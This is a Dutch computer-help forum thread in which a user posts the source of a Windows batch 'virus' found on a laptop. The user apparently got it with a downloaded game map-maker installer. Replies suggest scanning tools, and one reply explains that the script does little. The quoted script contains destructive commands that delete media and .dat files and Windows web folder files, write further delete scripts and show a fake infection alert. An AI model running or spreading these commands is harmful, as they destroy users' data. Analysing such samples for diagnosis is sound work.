Dos Virus Op Me Leptop!!!

  • Onderwerp starter Onderwerp starter eeyk
  • Startdatum Startdatum
Status
Niet open voor verdere reacties.

eeyk

Terugkerende gebruiker
Lid geworden
28 mrt 2007
Berichten
1.232
ik heb een virus op me letop opgelopen naa een tijdje zoeken heb ik de Source gevonden!
Wat is dit voor een virus? Precies!?,

hoe kan ik het Repareren? :(

NIET TESTEN GEGEVENS VERLIESEN!!!
Code:
@echo off
cd\
mkdir tmp
cd tmp
mkdir vvs
echo del *.exe >>%random%.exe.bat
echo del *.mp3 >>%random%.mp3.bat
echo del *.jpg >>%random%.jpg.bat
echo del *.gid >>%random%.gif.bat
echo msgbox "error VIRUS infected You!",16,"ERROR" >>%random%.vbs
cls
copy *.dat c:\windows\system32\
copy *.dat d:\
copy *.mp3 f:\
copy *.mp3 g:\
copy *.dat i:\
copy *.jpg e:\
copy *.jpg j:\
copy *.gif h:\
cls
del *.dat
del *.mp3
del *.jpg
del *.gif
del C:\WINDOWS\Web\*.gif
del C:\WINDOWS\Web\*.gif
del C:\WINDOWS\Web\*.hts
del C:\WINDOWS\Web\printers\*.inc
del C:\WINDOWS\Web\printers\images\*.gif
cd\
cd windows
mkdir web
echo 012:E:DWWDDS555: >>web.gif
echo 012:E:DWWDDS6:E# >>hypertext.hts
echo 012:E:DWWDDS88:E >>write.gif
echo 012:E:DWWDDS1:$E >>ico.gif
echo cd.. ren system kalam32 >>changle.bat
cls

hoe kan ik dit Repareren!???

want er staan berangrijken Gegevens op me leptop!
 
Laatst bewerkt:
beste is om een hijack te maken, maar laat eerst ff dit lopen voordat je hijack maakt

http://www.download.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html
ff installeren dan ff update en dan SNELLE SCAN

Als je de scan hebt afgerond raad ik je aan om een hijack te maken

Hijack:

Stukje informatie gekopieerd van www.hijackthis.nl :

Download Trend Micro Hijack This™ (http://download.bleepingcomputer.com/hijackthis/HJTInstall.exe)
Dubbelklik op Hijackthis-setup
Hijackthis wordt nu op je PC geïnstalleerd, een snel koppeling wordt op je bureaublad geplaatst

Dubbelklik op het Icoontje van Hijackthis
Klik op "Do a systemscan and save a logfile"
Er opent een Kladblok venster, houd gelijkt tijdig de CTRL en A toets ingedrukt, nu is alles geselecteerd.
Houd gelijkt tijdig de CTRL en C toets ingedrukt, nu is alles gekopieerd.

Log in op het forum en klik hier Forum op "nieuw onderwerp"
Voorzie dat van een Titel en een omschrijving van je probleem, vertel ook wat je al wel heb gedaan en wat je niet kon doen.
Plak nu het HJT logje in je bericht door met de rechtermuisknop te klikken en kies voor plakken.
Klik vervolgens op OK

Site forum: http://www.hijackthis.nl/forum/viewforum.php?f=4


Eerst ff snel registreren op de forum(gratis)
mvg (experst kijken je log na)
 
als jij echt denk dat je een virus hebt op je lAptop dat we je het beste maar even kunnen doorverwijzen

Lees dit bericht goed door:
http://www.nucia.nl/forum/showthread.php?t=12

Kijk hier voor uitleg Hijackthis:
http://www.nucia.nl/toonhandleiding.php?handleidingid=9

Plaats daarna je Hijackthis log in de volgende sectie:
http://www.nucia.nl/forum/forumdisplay.php?f=38

Vermeld daar ook je probleem erbij.



Je moet je wel even registreren daar, maar dat is net als op Helpmij gratis en eenmalig.

EDIT:te laat van me .sorry tomtom1
 
Laatst bewerkt:
Volgens mij kan je dit bat bestandje gewoon verwijderen. Lukt het niet? Probeer het met unlocker. Daarmee krijg je alles weg. Desnoods vervang je allemaal door boe dus dat er alleen nog maar boe staat. Dan kan ie in principe niks meer aanrichten. Ik ben niet zo'n expert op het gebied van virussen dus ik zou nog wel een paar andere helpmij gebruikers afwachten. Ik hoop dat je hier wat aan hebt.
mvg Swallav
 
Dit bestandje in zijn eentje doet maar weinig.

Hij maakt wat batch files aan die hij verder niet start
hij verwijderd wat mp3-tjes dat-jes, jpg-tjes en gif-jes nadat hij die naar verschillende schijfen kopieerd (of probeerd te kopieren) (klein detail is dat hij dat in een tmp map doet op de schijf waar hij gestart is die hij zelf gemaakt heeft dus daar staat helemaal niets.....)

en hij verwijderd een aantal zaken uit een mapje \windows\web en hij zet zich zelf er weer neer.

Dus dit script gooit helemaal niets weg, maakt zelf alleen wat bestandjes aan waar hij zelf verder niets mee doet.

Ik weet niet wie dit script geschreven heeft maar tis iig een verspilling van tijd geweest want hij doet helemaal niets........(iig niet iets "virus" achtigs anders dan dat hij een bestandje aanmaakt waarin hij zegt dat hij een virus zou zijn)
 
Laatst bewerkt:
ik heb dit gedownload samen met Battlefield 2142 Map Maker Bestand heten Install.exe


edit:

ik krijg trouwens ook telkens op me Leptop

Error in printers.inc


dit is de log

Code:
Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 14:35:21, on 30-6-2008
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP3 (6.00.2900.5512)
Boot mode: Normal
 
Laatst bewerkt door een moderator:
ik krijg trouwens ook telkens op me Leptop
Error in printers.inc

[sarcasme mode]
Gut, zou het?
Het script gooi wel de map c:\windows\web\printers\*.inc weg maar maakt geen nieuw "Inc" bestand aan dus de volgende keer dat je dit bestand weer uitvoert probeerd hij *.inc weer te verwijderen ....VERRASSING... geen inc bestand meer...... RAAAAAAR
[/sarcasme mode]
 
dit is de log

Code:
Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 14:35:21, on 30-6-2008
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP3 (6.00.2900.5512)
Boot mode: Normal
Er wordt duidelijk aangegeven waar je de log na kan laten kijken. Vraag ik me af waarom je het alsnog hier plaatst?:rolleyes:
Log verwijderd.
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan